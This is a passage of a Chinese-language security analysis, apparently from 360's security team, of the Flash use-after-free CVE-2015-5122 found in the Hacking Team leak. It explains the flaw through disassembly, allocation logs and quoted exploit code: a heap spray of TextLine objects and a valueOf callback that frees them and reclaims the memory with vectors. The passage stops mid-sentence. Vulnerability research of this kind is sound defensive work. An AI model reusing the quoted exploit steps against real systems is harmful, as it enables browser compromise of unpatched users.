作者:
360安全衛士
·
2015/07/11 18:18
0x00 前言
前幾天我們分析了Hacking Team洩露資料中的3個exploit,包括一個flash 0day,一個flash nday和一個windows字型提權0day。昨天Adobe在釋出了最新的flash版本(18.0.0.203),修補了其中的flash 0day(CVE-2015-5119)。然而今天twitter上面又有研究者爆猛料,稱Hacking Team洩露資料中還有一個未修補的flash 0day,在最新的flash版本中仍然可以觸發。Adobe隨後也釋出了對應的安全公告APSA15-04,漏洞的CVE編號為:CVE-2015-5122。影響Windows、MacOSX和Linux平臺上的IE、Chrome瀏覽器等主流瀏覽器。
我們經過分析,確認這確實又是一個新的flash 0day,漏洞成因是DisplayObject在設定opaqueBackground屬性時,沒有正確處理可能發生的回撥(又是valueOf,是在下輸了),而產生的Use After Free漏洞。本文將分析這個漏洞的成因和利用方式。
0x01 漏洞原理分析
出問題的函式是DisplayObject物件的opaqueBackground屬性設定函式:
我們來看一下HackingTeam洩露的exploit程式碼,關鍵部分如下:
#!c++
1 for(i=_arLen1; i < _arLen2; i++)
2 _ar[i] = _tb.createTextLine(); // fill 1016-byte holes (0x38c is a size of internal TextLine object)
3 for(i=_arLen1; i < _arLen2; i++)
4 _ar[i].opaqueBackground = 1; // alloc 1016 bytes
在這個過程中會每個TextLine Object內部會分配0x390大小的物件,物件分配的程式碼在:
1 .text:1025DC71 push 1
2 .text:1025DC73 push eax
3 .text:1025DC74 push 390h
4 .text:1025DC79 call operator_new2
除錯過程中分配的0x390內部物件地址:
Allocate 0x390 object:04cbc810
Allocate 0x390 object:0513c810
Allocate 0x390 object:0513cc08
Allocate 0x390 object:05d94020
Allocate 0x390 object:05d94418
Allocate 0x390 object:05d94810
Allocate 0x390 object:05d94c08
Allocate 0x390 object:05d95020
Allocate 0x390 object:05d95418
Allocate 0x390 object:05d95810
Allocate 0x390 object:05d95c08
Allocate 0x390 object:05d96020
Allocate 0x390 object:05d96418
Allocate 0x390 object:05d96810
Allocate 0x390 object:05d96c08
Allocate 0x390 object:05d97020
Allocate 0x390 object:05d97418
2 設定opaqueBackground,觸發valueOf函式呼叫:
1 MyClass.prototype.valueOf = valueOf2;
2
3 // here we go, call the vulnerable setter
4 _cnt = _arLen2-6;
5 _ar[_cnt].opaqueBackground = _mc;
和之前兩個漏洞一樣,exploit定義了自己的類,設定valueOf函式,然後在opaqueBackground的設定函式中,我們可以看到有一個將傳入的引數轉換為integer的過程,這個呼叫觸發了MyClass的valueOf函式:
.text:1025DD4C loc_1025DD4C: CODE XREF: set_opaqueBackground+2Fj
.text:1025DD4C push ebx
.text:1025DD4D push [esp+10h+param]
.text:1025DD51 call [email protected]@avmplus@@[email protected] ; avmplus::AvmCore::integer(int)
3 在valueOf函式中,釋放TextLine Object,並使用vector佔位
#!c++
01 static function valueOf2()
02 {
03 try
04 {
05 if (++_cnt < _arLen2) {
06 // recursive call for next TextLine
07 _ar[_cnt].opaqueBackground = _mc;
08 }else{
09 Log("MyClass.valueOf2()");
10
11 // free internal objects
12 for(var i:int=1; i <= 5; i++)
13 _tb.recreateTextLine(_ar[_arLen2-i]);
14
15 // reuse freed memory
16 for(i=_arLen2; i < _arLen; i++)
17 _ar[i].length = _vLen;
18 }
19 }
20 catch (e:Error)
21 {
22 Log("valueOf2 " + e.toString());
23 }
24 return _vLen+8;
25 }
我們可以看到valueOf函式透過呼叫recreateTextLine釋放了原來的TextLine物件(因此0x390大小的內部物件也將被釋放)。然後使用0x190大小的vector